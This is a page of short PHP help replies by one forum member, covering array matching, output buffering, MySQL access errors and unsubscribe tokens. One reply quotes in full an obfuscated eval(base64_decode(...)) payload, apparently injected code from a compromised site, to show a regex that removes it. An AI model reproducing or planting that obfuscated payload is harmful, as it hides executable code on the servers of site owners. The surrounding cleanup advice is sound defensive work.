Daniel0
Staff Alumni-
Posts
11,885 -
Joined
-
Last visited
Everything posted by Daniel0
-
Creating a simple 'events calendar' and add event from DB
Daniel0 replied to eits's topic in Miscellaneous
Uh, yeah it is. The board description is: -
http://www.phpfreaks.com/tutorial/php-security
-
Sure you can: <?php $deviance = 1; $string1 = '1.8,3.9,45.2,35.1'; $string2 = '11.1,15.2,1.5,4.8,45.3,35.6,77.1,12.2'; $array1 = explode(',', $string1); $array2 = explode(',', $string2); $matches = array(); foreach ($array1 as $item1) { $upperBound = $item1 + $deviance; $lowerBound = $item1 - $deviance; foreach ($array2 as $item2) { if ($item2 >= $lowerBound && $item2 <= $upperBound) { $matches[] = (float) $item2; } } } var_dump($matches); Output: array(4) { [0]=> float(1.5) [1]=> float(4. [2]=> float(45.3) [3]=> float(35.6) }
-
Split it up using explode, create a new array, iterate through all the elements, add all the elements that satisfy the requirements to the new array.
-
No offense, but you don't know what you're talking about. http://www.phpfreaks.com/forums/index.php/topic,256583.msg1207033.html#msg1207033
-
It's not really possible. Because PHP's interpreter will need the code in plain text, it will always be possible to circumvent the encryption and intercept the plain text code. You can at best make it more difficult to get to it.
-
Unless you can somehow predict the order in which people subscribed, I suppose not.
-
Yes, it is. See: http://www.php.net/manual/en/migration53.php As thorpe said, the library is probably messing with the error reporting, hence the reason why you aren't seeing any errors but it fails regardless.
-
Updated database connection problem with page source
Daniel0 replied to El_Dudereno's topic in MySQL Help
Some of them report that using a hostname instead of IP address resolves the issue. Others say that it's because the MySQL host is denying the connection. Also see this: http://dev.mysql.com/doc/refman/5.1/en/access-denied.html -
[SOLVED] include warning - maybe namespace issues
Daniel0 replied to solariaman's topic in PHP Coding Help
Can't you just pass the variables by argument? -
It works because it turns output buffering on, so it doesn't output anything until you flush the buffer. It's not a "real" fix though, but rather a band aid. You should redesign your application instead. Headers are always the top of an HTTP response, so you cannot first output something and then send additional headers. See the HTTP 1.1 RFC for more info about that.
-
Closed as duplicate. Please do not open multiple topics about the same issue.
-
Updated database connection problem with page source
Daniel0 replied to El_Dudereno's topic in MySQL Help
Do the things in this topic help? -
Won't work. Variables won't be interpolated in single quote delimited strings.
-
I'd just generate an unsubscribe token when they subscribe and store it with the email in the database. Then in the bottom of each email you could have a like like this: http://example.com/[email protected]&token=Kjha987Hlad8a7Dkjhadd
-
Uh... might I ask why you're doing that?
-
unset($_POST['submit']);
-
<?php $string = 'eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));'; $string = preg_replace('#eval\(base64_decode\("[0-9a-zA-Z+/=]+"\)\);#', '', $string); var_dump($string); Outputs string(0) "" for me.
-
Maybe it would be a good idea to post this?
-
Like this? $numbers = array(); for ($i = 0; $i < 12; ++$i) { $number = mt_rand(1, 45); // mt_rand() is approximately four times faster than rand() if (!in_array($number, $numbers)) { $numbers[] = $number; } else { --$i; } }
-
Well, I don't know what you're trying to do. The regex I proved just did what you initially asked: removing any combination of eval(base64_encode());.
-
Change text if falls in certain time period
Daniel0 replied to Intervelopment's topic in PHP Coding Help
This should do it. if (date('N') == 5 && date('H') >= 21 || date('N') == 6 && date('H') <= 1) { echo 'Listen Now'; } else { echo 'Listen 9pm - 1am Every Friday Night'; } -
Another literal "lol"
-
Yeah he put it together the other way around though. That's why it doesn't work.
-
It will if you run them after each other. The first one makes already makes sure that <p> 9</p> will not exist anywhere, but it will be <p>9</p>.